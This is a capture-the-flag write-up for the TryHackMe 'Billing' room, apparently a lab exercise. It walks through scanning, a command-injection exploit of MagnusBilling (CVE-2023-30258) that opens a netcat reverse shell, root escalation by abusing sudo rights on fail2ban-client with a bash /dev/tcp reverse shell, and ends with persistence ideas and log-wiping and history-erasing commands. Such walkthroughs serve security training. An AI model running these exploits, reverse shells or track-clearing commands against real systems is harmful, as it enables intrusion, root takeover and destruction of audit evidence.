Skip to content

THM:billing

billing

URL: https://tryhackme.com/room/billing   Easy

PHASE 1: Reconnaissance

Description of the room:

Some mistakes can be costly. Note: Bruteforcing is out of scope for this room.

PHASE 2: Scanning & Enumeration

Running: nmap

Ran the following:

nmap -sC -sV x.x.x.x

Interesting ports found to be open:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-title: MagnusBilling
|_Requested resource was http://10.10.44.189/mbilling/
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)

Also see: nmap.log

Running: gobuster

Ran the following:

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x

And it didn’t find ANY subfolders.

Also see: gobuster.log

Running: nikto

Ran the following:

nikto -h x.x.x.x -p 80

Not much of anything interesting info found on :80:

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: ./mbilling
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ 8075 requests: 0 error(s) and 3 item(s) reported on remote host

Also see: nikto.log

MagnusBilling

When you navigate to the website, you see MagnusBilling as the product name. So, I did run:

Terminal window
searchsploit magnus

And that did have a hit.

----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
MagnusSolution magnusbilling 7.3.0 - Command Injecti | multiple/webapps/52170.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results

There is CVE-2023-30258. In short, the icepay.php page accepts a democ query string argument where it runs arbitrary commands (RCE). So, we should be able to get a reverse shell that way, in theory?

PHASE 3: Gaining Access

I set up a NetCat listener on port :8000 to catch the reverse shell:

Terminal window
nv -lvnp 8000

From my workstation still, with Burp, cURL, or even in the browser, craft a URL like this:

Terminal window
http://x.x.x.x/mbilling/lib/icepay/icepay.php?democ=testfile; nc <MY_WS_IP> 8000 -e /bin/sh &

When I initially tried this it would connect and immediately disconnect. So, I appended the & to kick off the NetCat reverse shell process in the background. And voila, we have a connnection! Terrible quality - we don’t see a prompt, but type pwd, id, or whoami we can see we have a shell as the unprivileged asterisk account.

Unprivileged Access

We have a rudimentary connection, so let’s try to upgrade it:

Terminal window
python3 -c "import pty; pty.spawn('/bin/bash')"

Do CTRL+Z, then type:

Terminal window
stty raw -echo ; fg

That will give you a more stable prompt. It’s not as good as an SSH session, but it’s better than raw input/output. I found that I couldn’t use clear because the TERM environment variable is still set to dumb. So, we can also upgrade the terminal capabilities with:

Terminal window
export TERM=vt100

We know from the /etc/passwd file that the asterisk account doesn’t have a home directory:

Terminal window
asterisk:x:1001:1001:Asterisk PBX:/var/lib/asterisk:/sbin/nologin

However still, one of the first places I’ll go and look is in /home/ to see if we can get other usernames and see if there are any files that we can see. And sure enough, we can see a /home/magnus/ folder, and in there is the user.txt that we need to partially solve the room!

Terminal window
asterisk@Billing:/home/magnus$ ls -l
total 36
drwx------ 2 magnus magnus 4096 Mar 27 2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27 2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27 2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27 2024 Music
drwx------ 2 magnus magnus 4096 Mar 27 2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27 2024 Public
drwx------ 2 magnus magnus 4096 Mar 27 2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27 2024 Videos
-rw-r--r-- 1 magnus magnus 38 Mar 27 2024 user.txt

Privilege Escalation

One of the first places to look is to run sudo -l to list any sudo privileges that we have:

Terminal window
Matching Defaults entries for asterisk on Billing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing:
(ALL) NOPASSWD: /usr/bin/fail2ban-client

OK, so it looks like if we can somehow exploit fail2ban-client, then we should be able to get PE.

Before we move on, let’s set up NetCat on our workstation to listen on port :9000 for the incoming reverse shell:

Terminal window
nc -lvnp 9000

Create a Custom Jail

Since we have sudo access to fail2ban, we’re going to just create an empty “jail”, and what that jail does when it starts up is - connect to my workstation with a reverse shell. Since fail2ban is running as the root user, that means that will be a shell running as the root user.

Terminal window
# Create a new jail
sudo fail2ban-client add myjail tcp \
filter sshd \
logpath /var/log/auth.log \
maxretry 3 \
findtime 600 \
bantime 3600
# Set a default action (required, before we can override it)
sudo fail2ban-client set myjail addaction iptables-multiport
# Then, we can override the "actionstart" to kick off our reverse shelll
sudo fail2ban-client set myjail \
action iptables-multiport \
actionstart "/bin/bash -c 'bash -i >& /dev/tcp/<MY_WS_IP>/9000 0>&1'"

Start the Jail. Pop a shell!

Once defined, we just need to start the jail:

Terminal window
# Start the jail to trigger the reverse shell
sudo fail2ban-client start myjail

Immediately once the jail starts, it will execute the reverse shell and connect back to the Netcat listener on my workstation.

Now that we have a root prompt, we can navigate to /root/root.txt to get the flag to finish this room.

PHASE 4: Maintaining Access

This is a test/CTF machine, so this is out of scope. However, in a Red Team scenario, we could:

  • Add SSH key to /root/.ssh/authorized_keys
  • Create a privileged account that wouldn’t draw attention (ex: operations) or an unprivileged account and give it sudo access via group or directly in the /etc/sudoers file.
  • Install some other backdoor or service.

PHASE 5: Clearing Tracks

This is a test machine. However, in a Red Team scenario, we could:

Delete relevant logs from /var/log/ - although that might draw attention.

rm -Rf /var/log/*

Search and replace our IP address in all logs via:

find /var/log -name "*" -exec sed -i 's/10.10.2.14/127.0.0.1/g' {} \;

Wipe bash history for any accounts we used via:

cat /dev/null > /root/.bash_history

cat /dev/null > /home/merlin/.bash_history

cat /dev/null > /home/skyfrick/.bash_history

Summary

Completed: [2025-05-12 14:30]